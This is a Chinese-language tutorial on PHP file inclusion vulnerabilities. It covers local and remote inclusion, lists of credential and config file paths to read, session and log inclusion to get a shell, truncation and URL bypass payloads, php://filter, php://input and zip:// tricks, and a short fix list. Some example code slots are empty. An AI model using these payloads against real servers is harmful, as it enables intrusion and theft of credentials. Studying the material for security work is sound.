1 有關概念
前言:
PHP中include和require的區別主要是:include在包含過程中如果出現錯誤,會拋出一個警告,程序繼續正常運行;而require函數出現錯誤的時候,會知己報錯並退出程序的執行。
漏洞產生原因:
文件包含函數加載的參數沒有經過過濾或者嚴格定義,可以被用戶控制,包含了其他惡意文件,導致執行了非預期的代碼。
分類:
本地文件包含和遠程文件包含。
2 本地文件包含
可利用途徑:
·上傳圖片:圖片包含getshell
·讀文件:讀取php文件
·包含日志文件getshell
·包含/proc/self/environ/文件getshell
·有phpinfo可包含臨時文件
·包含data://或php://inout等偽協議(需要allow_url_include=On)
2.1 目錄遍歷敏感信息路徑
常見的敏感信息路徑
windows系統:
c:\boot.ini // 查看系統版本
c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件
c:\windows\repair\sam //存儲windows系統初次安裝的密碼
c:\programFiles\mysql\my.ini //MYSQL root密碼
c:\windows\php.ini // php 配置信息
Linux/Unix系統
/etc/passwd // 賬戶信息
/etc/shadow // 賬戶密碼文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置
/usr/local/app/php5/lib/php.ini // PHP相關配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
2.2 session文件包含
利用條件:session存儲位置可以獲取
獲取方法1:通過phpinfo信息獲取session存儲位置
獲取方法2:猜測默認的session存放位置
Linux下默認存放在/var/lib/php/session目錄下
windows默認C:\WINDOWS\Temp或集成環境下的tmp文件夾里
方法:
存在本地文件包含漏洞,可通過ctfs寫入惡意代碼到session文件中,然后通過文件包含漏洞執行此惡意代碼getshell
2.3 有限制本地包含繞過
繞過方法1:%00 截斷
條件:magic_quotes_gpc = Off PHP 版本<5.3.4
測試:?filename=../../../../../../boot.ini%00
繞過方法2:路徑長度截斷
條件:windows下目錄路徑最大長度為256字節,超出部分將丟棄;
Linux下目錄最大長度為4096字節,超出長度將丟棄
測試:?filename=text.txt././././. 或?filename=test.txt.....
3 遠程文件包含
前提:服務器的php.ini的配置選項allow_url_fopen和allow_url_include為On,則include/require函數式可加載遠程文件的。
有限制遠程包含繞過
測試代碼:<?php include($_GET['filename'].".html");?> 多添加了html后綴,到最后遠程包含的文件 一會多一個HTML后綴
問號繞過
測試:?filename=http://192.168.91.133/FI/php.txt?
#號繞過
測試:?filenamr=http://192.168.91.133/FI/php.txt%23
空格繞過
測試:?filename=http://192.168.91.133/FI/php.txt%20
4 PHP偽協議使用
php://filter(本地磁盤文件讀取)
條件:只是讀取,需要開啟allow_url_fopen,不需開啟allow_url_include
用法:?filename=php://filter/convert.base64-encode/resource=xx.php
或:?filwname=php://filter/read=convert.base64-encode/resource=xx.php
php://input(讀取post文件)
遇到file_get_contents()就要想着用php://input繞過,因PHP偽協議也可里要補發http協議,即可使用post方式傳遞數據。
測試代碼:<?php echo file_get_contents("php://input");?>
用法
php://input(木馬寫入)
條件:allow_url_fopen和allow_url_include同時開啟 (PHP<5.3.0)
測試代碼:
用法:
php://input(命令執行)
條件:allow_url_fopen和allow_url_include同時開啟 (PHP<5.3.0)
測試代碼:
用法:
zip://偽協議
條件: PHP > =5.3.0,注意在windows下測試要5.3.0<PHP<5.4 才可以 #在瀏覽器中要編碼為%23,否則瀏覽器默認不會傳輸特殊字符。
用法:?file=zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名] zip://xxx.png#shell.php
5 漏洞挖掘
無通用性方法
特定CMS,特定版本可能存在
web漏洞掃描器掃描
6修復方案
PHP中可使用open_basedir配置限制訪問限制在指定的區域
過濾.(點)/(反斜杠)\(斜杠)
進制服務器遠程文件包含